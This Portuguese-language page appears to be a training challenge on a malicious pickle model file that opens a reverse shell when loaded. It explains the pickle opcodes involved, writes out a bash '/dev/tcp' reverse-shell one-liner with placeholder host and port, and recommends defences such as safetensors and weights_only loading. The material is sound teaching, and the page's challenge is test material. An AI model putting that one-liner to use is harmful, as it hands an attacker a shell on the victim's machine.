O modelo que ligava para casa: um reverse shell escondido em um pickle

Forense Digital & Resposta a Incidentes Nível 2/4 ~3 min 4 de novembro de 2026

O desafio

Um modelo baixado roda código ao ser carregado. Leia os opcodes pickle nos bytes do arquivo. Ache o IP:porta que o shell escondido chama.

O que você vai aprender

  • Explicar por que carregar um pickle pode executar código arbitrário
  • Ler STACK_GLOBAL, TUPLE1 e REDUCE em um fluxo pickle bruto
  • Distinguir uma string que o pickle chama de uma que ele apenas guarda
  • Reconhecer um reverse shell bash /dev/tcp e extrair seu IP e porta
  • Citar as formas seguras de carregar pesos de modelos de terceiros

Habilidades testadas

Triagem de malwareLeitura de um dump hex/ASCIIDesserialização insegura

Pré-requisitos

  • Ler a coluna ASCII em uma visualização hex
  • O que é uma chamada de função em Python

Como funciona

O formato pickle do Python é uma lista de instruções para uma pequena máquina de pilha. Carregar um pickle executa essas instruções para reconstruir os objetos salvos, e o formato permite que um objeto diga como se reconstruir: "importe esta função, chame-a com estes argumentos". Nos bytes, isso é STACK_GLOBAL (0x93), que importa uma função nomeada pelas duas strings anteriores, e depois REDUCE (0x52), que a chama.

Nada restringe qual função pode ser usada. Um arquivo de modelo que faz posix.system (o módulo por trás de os no Linux) executa um comando de shell na máquina de quem o carrega, e faz isso enquanto o arquivo ainda está sendo lido, antes de qualquer peso ser usado. A forma bash /dev/tcp/HOST/PORT abre uma conexão TCP, então bash -i >& /dev/tcp/HOST/PORT 0>&1 é um reverse shell: o terminal da vítima, conectado de volta ao atacante.

No início de 2024, a JFrog reportou cerca de cem modelos no Hugging Face com código assim, incluindo um modelo PyTorch que abria um reverse shell para um IP fixo no código assim que era carregado. Em 2025, a ReversingLabs mostrou pickles deliberadamente quebrados após o payload, de modo que o payload rodava enquanto scanners populares falhavam ao interpretar o resto.

Erros comuns

  • Responder o tracking_uri. 203.0.113.17:5000 é uma string guardada: depois dela vem um MEMOIZE e a próxima chave, nunca um REDUCE. Só a string entregue ao REDUCE é executada.
  • Responder o hub. tensorhub.example é o lugar de onde o modelo foi baixado, não onde o shell se conecta.
  • Perder a porta na quebra de linha. A string quebra: /44 termina uma linha e 44 começa a seguinte. A porta é 4444.
  • Omitir a porta. /dev/tcp/HOST/PORT traz as duas; a resposta é IP:porta.
  • Ler os pesos como opcodes. Depois de 42 (BINBYTES) e seu comprimento de 4 bytes, tudo é dado float bruto; um 2E ali não é um STOP.

Como se proteger

Nunca faça unpickle de um modelo que você não produziu.

  • Distribua e carregue pesos como safetensors, um formato que guarda tensores e nada executável.
  • Com PyTorch, carregue com torch.load(path, weights_only=True) (o padrão desde o PyTorch 2.6) e não o sobrescreva para um arquivo baixado.
  • Inspecione um pickle não confiável com python -m pickletools model.pkl ou um scanner de modelos, que desmontam sem executar, e trate qualquer GLOBAL/STACK_GLOBAL fora dos helpers de tensor esperados como hostil. Scanners podem ser evadidos, então isto é um filtro, não uma garantia.
  • Abra modelos não verificados em uma sandbox ou container sem rede de saída, para que um payload que rode mesmo assim não alcance seu servidor.

Solução completa

Membros Pro e Max desbloqueiam o passo a passo completo.

Assinar Pro

Estatísticas da comunidade

191 resoluções
86% taxa de sucesso
M2F14M3 Primeiro sangue

Hacks de hoje relacionados

36.000+ Hackers Labs reais Grátis
Comece Grátis ou resolva o hack de hoje, sem conta